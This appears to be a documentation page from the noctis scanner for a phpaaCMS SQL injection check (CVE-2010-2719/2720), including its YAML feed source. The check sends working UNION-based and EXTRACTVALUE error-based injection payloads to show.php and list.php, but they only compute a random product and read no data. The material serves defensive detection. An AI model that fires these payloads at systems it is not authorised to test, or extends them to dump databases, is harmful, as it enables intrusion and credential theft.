phpaaCMS — 1 vulnerability check
noctis ships 1 vulnerability check for phpaaCMS, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
phpaaCMS show.php / list.php id SQL injection
| CVE | CVE-2010-2719, CVE-2010-2720 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/phpaacms/phpaacms-id-sqli.yaml |
phpaaCMS 0.3.1 (phpAA CMS) and possibly other versions put the id parameter of show.php (CVE-2010-2719) and list.php (CVE-2010-2720) unquoted into SQL queries, allowing unauthenticated SQL injection: an attacker can read the whole database, administrator credentials included.
This check looks for a phpAA index.php under the web root and the usual install paths. Where one is found, it requests show.php and list.php with an id that is a 15-column UNION SELECT of an expression multiplying two random numbers, then with an id that subtracts a MySQL EXTRACTVALUE call over that product (which makes the database report the product in its error message). Each page is reported when its reply carries the product computed by the database, which never appears in the request. No table is read and nothing is written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/show.php?id={{sc.union}} - HTTP(S) request
GET {{dir}}/show.php?id={{sc.err}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/list.php?id={{sc.union}} - HTTP(S) request
GET {{dir}}/list.php?id={{sc.err}} - Parses / computes the next value with a Rhai script
- Checks
hit_show.dirfor^/→ finding QoD 97: phpaaCMS show.php id SQL injection (CVE-2010-2719) - Checks
hit_list.dirfor^/→ finding QoD 97: phpaaCMS list.php id SQL injection (CVE-2010-2720)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2010-2719
- https://nvd.nist.gov/vuln/detail/CVE-2010-2720
- https://www.exploit-db.com/exploits/14199
- https://www.exploit-db.com/exploits/14201
Feed source — tests/vulnerabilities/phpaacms/phpaacms-id-sqli.yaml
# phpaaCMS 0.3.1 — show.php / list.php 'id' SQL injection (CVE-2010-2719 / CVE-2010-2720)
#
# show.php?id= and list.php?id= put id unquoted into a SELECT (EDB-14199: show.php,
# 15 columns, column 11 printed; EDB-14201: list.php, "161'" error probe only — its
# column count is not published). The phpaaCMS source (phpaa.cn) is no longer
# reachable, so the layouts come from the two advisories.
#
# Detection, per candidate install dir whose index.php names phpAA (any case):
# for show.php (CVE-2010-2719) and list.php (CVE-2010-2720), QoD 97 each —
# 1. UNION: id = -194 union all select C,C,…,C (15 columns)-- - with
# C = CONCAT(0x4e4f43544953, a*b, 0x454e44), random a, b; the page returns
# "NOCTIS<a*b>END", a value only the database can compute;
# 2. error-based (any column count): id = -194-EXTRACTVALUE(1,LPAD(a*b,20,0x7e)) —
# an arithmetic operand MySQL always evaluates (constant-folded, even on an
# empty table); a page printing the MySQL error shows
# "XPATH syntax error: '~~~…<a*b>'".
# Read-only: no table is referenced, nothing is written.
#
# Better than the source NASL (show.php only, dumps cms_users with a fixed ">admin:"
# marker): list.php (CVE-2010-2720) is tested too; the proof is a computed value that
# needs no table row (an install whose admin account is not named "admin", or a page
# reflecting the URL, no longer gives a FN / FP); "-- -" instead of a bare "--"
# comments the rest of the query on every MySQL version; the error-based probe covers
# list.php, whose column count is unknown. Each finding carries only the CVE of the
# page that was proven.
#
# Source: OpenVAS/Greenbone NVT 2010/gb_phpaa_cms_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801408, GPL-2.0-only).
uid: 2cc427e1-2f3a-4753-b210-fbd48558e7d7
name: "phpaaCMS show.php / list.php id SQL injection"
description: |
phpaaCMS 0.3.1 (phpAA CMS) and possibly other versions put the id parameter of
show.php (CVE-2010-2719) and list.php (CVE-2010-2720) unquoted into SQL queries,
allowing unauthenticated SQL injection: an attacker can read the whole database,
administrator credentials included.
This check looks for a phpAA index.php under the web root and the usual install
paths. Where one is found, it requests show.php and list.php with an id that is a
15-column UNION SELECT of an expression multiplying two random numbers, then with an
id that subtracts a MySQL EXTRACTVALUE call over that product (which makes the
database report the product in its error message). Each page is reported when its
reply carries the product computed by the database, which never appears in the
request. No table is read and nothing is written.
cves: [CVE-2010-2719, CVE-2010-2720]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [phpaacms, phpaa, sqli, union-based, error-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-2719"
- "https://nvd.nist.gov/vuln/detail/CVE-2010-2720"
- "https://www.exploit-db.com/exploits/14199"
- "https://www.exploit-db.com/exploits/14201"
# OpenVAS/Greenbone NASL 2010/gb_phpaa_cms_sql_inj_vuln.nasl (GPL-2.0-only)
steps:
# ── Random operands, expected markers and the encoded id values ───────────
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
let cols = c;
for i in 1..15 { cols += "," + c; }
#{ want_union: "NOCTIS" + (a * b) + "END",
want_err: "~" + (a * b),
expr: a + "*" + b,
union: "-194%20union%20all%20select%20" + cols + "--%20-",
err: "-194-EXTRACTVALUE(1,LPAD(" + a + "*" + b + ",20,0x7e))" }
store_as: sc
- id: init-hit-show
action: set_var
var_name: hit_show
var_value: {dir: "", how: ""}
- id: init-hit-list
action: set_var
var_name: hit_list
var_value: {dir: "", how: ""}
# ── Per candidate install path (loop group) ───────────────────────────────
- id: init-landing
action: set_var
var_name: landing
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/phpaaCMS", "/phpaacms", "/phpaa", "/cms"]
- id: init-show-u
action: set_var
var_name: show_u
var_value: {status: 0, body: ""}
- id: init-show-e
action: set_var
var_name: show_e
var_value: {status: 0, body: ""}
- id: init-list-u
action: set_var
var_name: list_u
var_value: {status: 0, body: ""}
- id: init-list-e
action: set_var
var_name: list_e
var_value: {status: 0, body: ""}
- id: fetch-landing
action: http_request
method: GET
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_show.dir == "" || hit_list.dir == ""'
store_as: landing
- id: fingerprint
action: script
code: |
let body = if type_of(landing.body) == "string" { landing.body } else { "" };
landing.status >= 200 && landing.status < 400 && egrep("(?i)phpaa", body) != ""
store_as: is_phpaa
# show.php — CVE-2010-2719
- id: show-union
action: http_request
method: GET
path: "{{dir}}/show.php?id={{sc.union}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'is_phpaa == true && hit_show.dir == ""'
store_as: show_u
- id: show-error
action: http_request
method: GET
path: "{{dir}}/show.php?id={{sc.err}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'is_phpaa == true && hit_show.dir == "" && !(type_of(show_u.body) == "string" && show_u.body.contains(sc.want_union))'
store_as: show_e
- id: check-show
action: script
condition: 'is_phpaa == true && hit_show.dir == ""'
code: |
let d = if dir == "" { "/" } else { dir };
let u = if type_of(show_u.body) == "string" { show_u.body } else { "" };
let e = if type_of(show_e.body) == "string" { show_e.body } else { "" };
if u.contains(sc.want_union) { #{dir: d, how: "id=-194 union all select CONCAT(0x4e4f43544953," + sc.expr + ",0x454e44),... (15 columns)-- - returned the database-computed value " + sc.want_union} }
else if e.contains("XPATH syntax error") && e.contains(sc.want_err) { #{dir: d, how: "id=-194-EXTRACTVALUE(1,LPAD(" + sc.expr + ",20,0x7e)) returned the database-computed value in the MySQL error: XPATH syntax error: '..." + sc.want_err + "'"} }
else { #{dir: "", how: ""} }
store_as: hit_show
# list.php — CVE-2010-2720
- id: list-union
action: http_request
method: GET
path: "{{dir}}/list.php?id={{sc.union}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'is_phpaa == true && hit_list.dir == ""'
store_as: list_u
- id: list-error
action: http_request
method: GET
path: "{{dir}}/list.php?id={{sc.err}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'is_phpaa == true && hit_list.dir == "" && !(type_of(list_u.body) == "string" && list_u.body.contains(sc.want_union))'
store_as: list_e
- id: check-list
action: script
condition: 'is_phpaa == true && hit_list.dir == ""'
code: |
let d = if dir == "" { "/" } else { dir };
let u = if type_of(list_u.body) == "string" { list_u.body } else { "" };
let e = if type_of(list_e.body) == "string" { list_e.body } else { "" };
if u.contains(sc.want_union) { #{dir: d, how: "id=-194 union all select CONCAT(0x4e4f43544953," + sc.expr + ",0x454e44),... (15 columns)-- - returned the database-computed value " + sc.want_union} }
else if e.contains("XPATH syntax error") && e.contains(sc.want_err) { #{dir: d, how: "id=-194-EXTRACTVALUE(1,LPAD(" + sc.expr + ",20,0x7e)) returned the database-computed value in the MySQL error: XPATH syntax error: '..." + sc.want_err + "'"} }
else { #{dir: "", how: ""} }
store_as: hit_list
# ── Findings, once every dir was tried (a second loop group of one pass) ──
- id: after-dirs
action: set_var
var_name: done_dirs
var_value: true
loop:
var: once
over: ["once"]
- id: report-show
action: match
source: hit_show.dir
pattern: "^/"
on_match:
finding:
cves: [CVE-2010-2719]
title: "phpaaCMS show.php id SQL injection (CVE-2010-2719)"
description: "An unauthenticated request to show.php with an id carrying an SQL expression that multiplies two random numbers returned the product computed by the database: id reaches the SQL query unquoted, so an attacker can read the whole database (administrator credentials included)."
remediation: "phpaaCMS is no longer maintained and no fixed release is known: remove it, or make show.php cast id to an integer before building the query."
confidence_delta: 0.67
qod: 97
evidence: "install dir {{hit_show.dir}}, show.php: {{hit_show.how}}"
- id: report-list
action: match
source: hit_list.dir
pattern: "^/"
on_match:
finding:
cves: [CVE-2010-2720]
title: "phpaaCMS list.php id SQL injection (CVE-2010-2720)"
description: "An unauthenticated request to list.php with an id carrying an SQL expression that multiplies two random numbers returned the product computed by the database: id reaches the SQL query unquoted, so an attacker can read the whole database (administrator credentials included)."
remediation: "phpaaCMS is no longer maintained and no fixed release is known: remove it, or make list.php cast id to an integer before building the query."
confidence_delta: 0.67
qod: 97
evidence: "install dir {{hit_list.dir}}, list.php: {{hit_list.how}}"